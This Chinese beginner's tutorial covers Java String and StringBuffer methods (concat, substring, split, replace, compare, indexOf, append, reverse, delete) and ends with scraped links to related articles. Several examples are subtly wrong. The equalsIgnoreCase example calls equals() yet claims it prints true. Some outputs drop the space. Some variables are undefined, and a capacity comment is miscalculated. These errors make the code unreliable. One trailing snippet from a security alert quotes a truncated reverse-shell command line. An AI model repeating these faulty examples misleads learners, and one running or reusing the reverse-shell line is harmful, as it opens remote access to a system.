Java入门教程四(字符串处理)
Java 语言的文本数据被保存为字符或字符串类型。字符及字符串的操作主要用到 String 类和 StringBuffer 类,如连接、修改、替换、比较和查找等。
定义字符串
直接定义字符串
直接定义字符串是指使用双引号表示字符串中的内容,例如"Hello Java"、"Java 编程"等
String helloWorld ="Hello World";
使用 String 类定义
在 Java 中每个双引号定义的字符串都是一个 String 类的对象。因此,可以通过使用 String 类的构造方法来创建字符串,该类位于 java.lang 包中。
String helloWorld =new String("Hello World");
字符串的连接
通过字符串连接,可以将两个或多个字符串、字符、整数和浮点数等类型的数据连成一个更大的字符串。
使用连接运算符
“+”运算符是最简单、最快捷,也是使用最多的字符串连接方式。在使用“+”运算符连接字符串和 int 型(或 double 型)数据时,“+”将 int(或 double)型数据自动转换成 String 类型。
int i=10;
String helloWorld="Hello World 第"+i+"次出现在文章中";
使用 concat() 方法
String 类的 concat() 方法实现了将一个字符串连接到另一个字符串的后面。
String hello = "Hello";
String world = "World";
String helloWorld = hello.concat(world);
获取字符串长度
使用 String 类的 length() 方法
String hello = "Hello World";
System.out.println(hello.length());//输出11
转换大小写
toLowerCase() 方法可以将字符串中的所有字符全部转换成小写,toUpperCase() 则将字符串中的所有字符全部转换成大写,非字母的字符不受影响。
String helloWorld="Hello World";
System.out.println(helloWorld.toLowerCase()); //输出:helloworld
System.out.println(helloWorld.toUpperCase()); //输出:HELLOWORLD
去除空格
使用 String 类提供的 trim() 方法去掉首尾空格
String hello=" hello ";
System.out.println(hello.trim());//去掉首尾空格后hello
字符串截取
String 类的 substring() 方法用于对字符串进行提取,该方法主要有两种重载形式。
substring(int beginIndex)
从索引位置开始至结尾处的字符串部分。调用时,括号中是需要提取字符串的开始位置,方法的返回值是提取的字符串。
String helloWorld="Hello World";
String world=helloWorld.substring(6);
System.out.println(world); //输出:World
substring(int beginIndex,int endIndex)
beginIndex 表示截取的起始索引,截取的字符串中包括起始索引对应的字符;endIndex 表示结束索引,截取的字符串中不包括结束索引对应的字符,对于开始位置 beginIndex, Java 是基于字符串的首字符索引为 0 处理的,但是对于结束位置 endIndex,Java 是基于字符串的首字符索引为 1 来处理的
String helloWorld="Hello World";
System.out.println(helloWorld.substring(2,10));//输出 llo Worl
分割字符串
String 类的 split() 方法可以按指定的分割符对目标字符串进行分割,分割后的内容存放在字符串数组中。str.split(String sign)与str.split(String sign,int limit),str 为需要分割的目标字符串;sign 为指定的分割符,可以是任意字符串;limit 表示分割后生成的字符串的限制个数,如果不指定,则表示不限制,直到将整个目标字符串完全分割为止。
String color="Red,Black,White,Yellow";
String[] arr1=color.split(",");//不限制元素个数
//arr1为
//Red
//Black
//White
//Yellow
String[] arr2=Colors.split(",",3); //限制元素个数为3
//arr2为
//Red
//Black
//White,Yellow
字符串的替换
String 类提供了 3 种字符串替换方法,分别是 replace()、replaceFirst() 和 replaceAll()
replace()
replace(String oldChar, String newChar) 方法用于将目标字符串中的指定字符(串)替换成新的字符(串)
String helloWorld="Hello Java";
System.out.println(words.replace("Java","World"));//输出Hello World
replaceFirst()
replaceFirst(String regex, String replacement) 方法用于将目标字符串中匹配某正则表达式的第一个子字符串替换成新的字符串
String words="hello java,hello php";
System.out.println(words.replaceFirst("hello","你好 ")); //输出:你好 java,hello php
replaceAll()
replaceAll(String regex, String replacement) 方法用于将目标字符串中匹配某正则表达式的所有子字符串替换成新的字符串
String words="hello java,hello php";
System.out.println(words.replaceAll("hello","你好 ")); //输出:你好 java,你好 php
字符串的比较
比较字符串的常用方法有 3 个:equals() 方法、equalsIgnoreCase() 方法、 compareTo() 方法
equals()
equals() 方法将逐个地比较两个字符串的每个字符是否相同。对于字符的大小写,也在检查的范围之内。
String a="a";
String b="b";
System.out.println(a.equals(b)); //输出 false
equalsIgnoreCase()
equalsIgnoreCase() 方法的作用和语法与 equals() 方法完全相同,唯一不同的是 equalsIgnoreCase() 比较时不区分大小写
String a="ab";
String b="AB";
System.out.println(a.equals(b)); //输出 true
compareTo()
compareTo() 方法用于按字典顺序比较两个字符串的大小,该比较是基于字符串各个字符的 Unicode 值。
String upperA="A";
String lowerA="a";
System.out.println(upperA.compareTo(lowerA)); //输出为-32
查找字符串
字符串查找分为两种形式:一种是在字符串中获取匹配字符(串)的索引值,另一种是在字符串中获取指定索引位置的字符。分别有三个方法indexOf()、lastlndexOf()和charAt()
indexOf()
indexOf() 方法用于返回字符(串)在指 定字符串中首次出现的索引位置,如果能找到,则返回索引值,否则返回 -1。
str.indexOf(value)
str.indexOf(value,int fromIndex)
str 表示指定字符串;value 表示待查找的字符(串);fromIndex 表示查找时的起始索引,如果不指定 fromIndex,则默认从指定字符串中的开始位置(即 fromIndex 默认为 0)开始查找。
String helloWorld="Hello Java";
int size=s.indexOf('v'); //size的结果为8
lastlndexOf()
lastIndexOf() 方法用于返回字符(串)在指定字符串中最后一次出现的索引位置,如果能找到则返回索引值,否则返回 -1。
str.lastIndexOf(value)
str.lastlndexOf(value, int fromIndex)
lastIndexOf() 方法的查找策略是从右往左查找,如果不指定起始索引,则默认从字符串的末尾开始查找。
String words="today,monday,Sunday";
System.out.println(words.lastIndexOf("day"));//输出16
charAt()
charAt() 方法可以在字符串内根据指定的索引查找字符
String words="today,monday,sunday";
System.out.println(words.charAt(0)); //结果:t
StringBuffer类
除了通过 String 类创建和处理字符串之外,还可以使用 StringBuffer 类来处理字符串。StringBuffer 类可以比 String 类更高效地处理字符串。StringBuffer 类是可变字符串类,创建 StringBuffer 类的对象后可以随意修改字符串的内容。每个 StringBuffer 类的对象都能够存储指定容量的字符串,如果字符串的长度超过了 StringBuffer 类对象的容量,则该对象的容量会自动扩大。
创建 StringBuffer
StringBuffer 类提供了 3 个构造方法来创建一个字符串
StringBuffer() 构造一个空的字符串缓冲区,并且初始化为 16 个字符的容量。
StringBuffer(int length) 创建一个空的字符串缓冲区,并且初始化为指定长度 length 的容量。
StringBuffer(String str) 创建一个字符串缓冲区,并将其内容初始化为指定的字符串内容 str,字符串缓冲区的初始容量为 16 加上字符串 str 的长度。
StringBuffer str1=new StringBuffer();//定义一个空的字符串缓冲区,含有16个字符的容量
StringBuffer str2=new StringBuffer(10);//定义一个含有10个字符容量的字符串缓冲区
StringBuffer str3=new StringBuffer("HelloWorld");//定义一个含有(16+4)的字符串缓冲区,"HelloWorld"为10个字符
追加字符串
StringBuffer 类的 append() 方法用于向原有 StringBuffer 对象中追加字符串。追加内容到当前 StringBuffer 对象的末尾,类似于字符串的连接。
StringBuffer buffer=new StringBuffer("hello,"); //创建一个 StringBuffer 对象
String str="World!";
buffer.append(str); //向 StringBuffer 对象追加 str 字符串
System.out.println(buffer.substring(0)); //输出:Hello,World!
替换字符
StringBuffer 类的 setCharAt() 方法用于在字符串的指定索引位置替换一个字符。StringBuffer 对象.setCharAt(int index, char ch);
StringBuffer sb=new StringBuffer(“hello");
sb.setCharAt(1,'E');
System.out.println(sb); //输出:hEllo
反转字符串
StringBuffer 类中的 reverse() 方法用于将字符串序列用其反转的形式取代。StringBuffer 对象.reverse();
StringBuffer sb=new StringBuffer("java");
sb.reverse();
System.out.println(sb); //输出:avaj
删除字符串
StringBuffer 类提供了 deleteCharAt() 和 delete() 两个删除字符串的方法
deleteCharAt()
deleteCharAt() 方法用于移除序列中指定位置的字符,StringBuffer 对象.deleteCharAt(int index);
StringBuffer sb=new StringBuffer("She");
sb.deleteCharAt(2);
System.out.println(sb); //输出:Se
delete()
delete() 方法用于移除序列中子字符串的字符,StringBuffer 对象.delete(int start,int end);start 表示要删除字符的起始索引值(包括索引值所对应的字符),end 表示要删除字符串的结束索引值(不包括索引值所对应的字符)。
StringBuffer sb=new StringBuffer("hello jack");
sb.delete(2,5);
System.out.println(sb); //输出:he jack
Java入门教程四(字符串处理)的更多相关文章
- 无废话ExtJs 入门教程四[表单:FormPanel]
无废话ExtJs 入门教程四[表单:FormPanel] extjs技术交流,欢迎加群(201926085) 继上一节内容,我们在窗体里加了个表单.如下所示代码区的第28行位置,items:form. ...
- PySide——Python图形化界面入门教程(四)
PySide——Python图形化界面入门教程(四) ——创建自己的信号槽 ——Creating Your Own Signals and Slots 翻译自:http://pythoncentral ...
- Elasticsearch入门教程(四):Elasticsearch文档CURD
原文:Elasticsearch入门教程(四):Elasticsearch文档CURD 版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接: ...
- RabbitMQ入门教程(四):工作队列(Work Queues)
原文:RabbitMQ入门教程(四):工作队列(Work Queues) 版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https:/ ...
- JasperReports入门教程(四):多数据源
JasperReports入门教程(四):多数据源 背景 在报表使用中,一个页面需要打印多个表格,每个表格分别使用不同的数据源是很常见的一个需求.假如我们现在有一个需求如下:需要在一个报表同时打印所有 ...
- Java入门教程总目录
Java入门教程总目录 持续更新中... 1.Java常识汇总 2.Java框架对比 3.Java技术路线 4.Java编码规范 5.Java环境变量配置 6.枚举 7.操作符 12.定时任务
- (一)Java 入门教程
Java 入门教程 Java 是由Sun Microsystems公司于1995年5月推出的高级程序设计语言. Java可运行于多个平台,如Windows, Mac OS,及其他多种UNIX版本的系统 ...
- Java 入门教程
Java 入门教程 Java 是由Sun Microsystems公司于1995年5月推出的高级程序设计语言. Java可运行于多个平台,如Windows, Mac OS,及其他多种UNIX版本的系统 ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
随机推荐
- scala编程(九)——控制抽象
减少代码重复 所有的函数都被分割成通用部分,它们在每次函数调用中都相同,以及非通用部分,在不同的函 数调用中可能会变化.通用部分是函数体,而非通用部分必须由参数提供.当你把函数值用做参数时,算法的非通 ...
- springmvc 实现文件上传
1.添加jar包 <dependency> <groupId>commons-io</groupId> <artifactId>commons-io&l ...
- 前端Js复习-前后台的搭建-结合Bootstrap和JQuery搭建vue项目
流式布局思想 """ 页面的尺寸改变动态改变页面布局,或是通过父集标签控制多个子标签,这种布局思想就称之为 - 流式布局思想 1) 将标签宽高设置成 百分比,就可以随屏幕 ...
- 【shell】概述
功能简介 批量自动初始化系统(update,软件安装,时区设置,安全策略...) 批量自动部署软件(LAMP,LNMP,Nginx,LVS,Tomcat) 管理应用程序(KVM,集群管理扩容,MySQ ...
- JSP中request对象常用方法汇总
setAttribute(String name,Object):设置名字为name的request的参数值 getAttribute(String name):返回由name指定的属性值 getAt ...
- 吴裕雄--天生自然python机器学习:决策树算法
我们经常使用决策树处理分类问题’近来的调查表明决策树也是最经常使用的数据挖掘算法. 它之所以如此流行,一个很重要的原因就是使用者基本上不用了解机器学习算法,也不用深究它 是如何工作的. K-近邻算法可 ...
- 主效应|处理误差 |组间误差|处理效应|随机误差|组内误差|误差|效应分析|方差齐性检验|SSE|SSA|SST|MSE|MSA|F检验|关系系数|完全随机化设计|区组设计|析因分析
8 什么是只考虑主效应的方差分析? 就是不考虑交互效应的方差分析,即认为因素之间是不相互影响的,就是无重复的方差分析. 什么是处理误差 (treatment error).组间误差(between ...
- Linux 杀死进程方法大全(kill,killall)
杀死进程最安全的方法是单纯使用kill命令,不加修饰符,不带标志. 首先使用ps -ef命令确定要杀死进程的PID,然后输入以下命令: # kill -pid 注释:标准的kill命令通常 ...
- 进程异常行为-反弹Shell攻击,KILL多个进程
进程异常行为-反弹Shell攻击 父进程名称:bash 进程名称:bash 进程名称:/usr/bin/bash 进程id:23,077 命令行参数:sh -c /bin/bash -i >&a ...
- Kali-tools
title date tags layout Ubuntu Update Kali-Tools 2018-09-01 Linux post 创建shell文件 vim update-kali-sour ...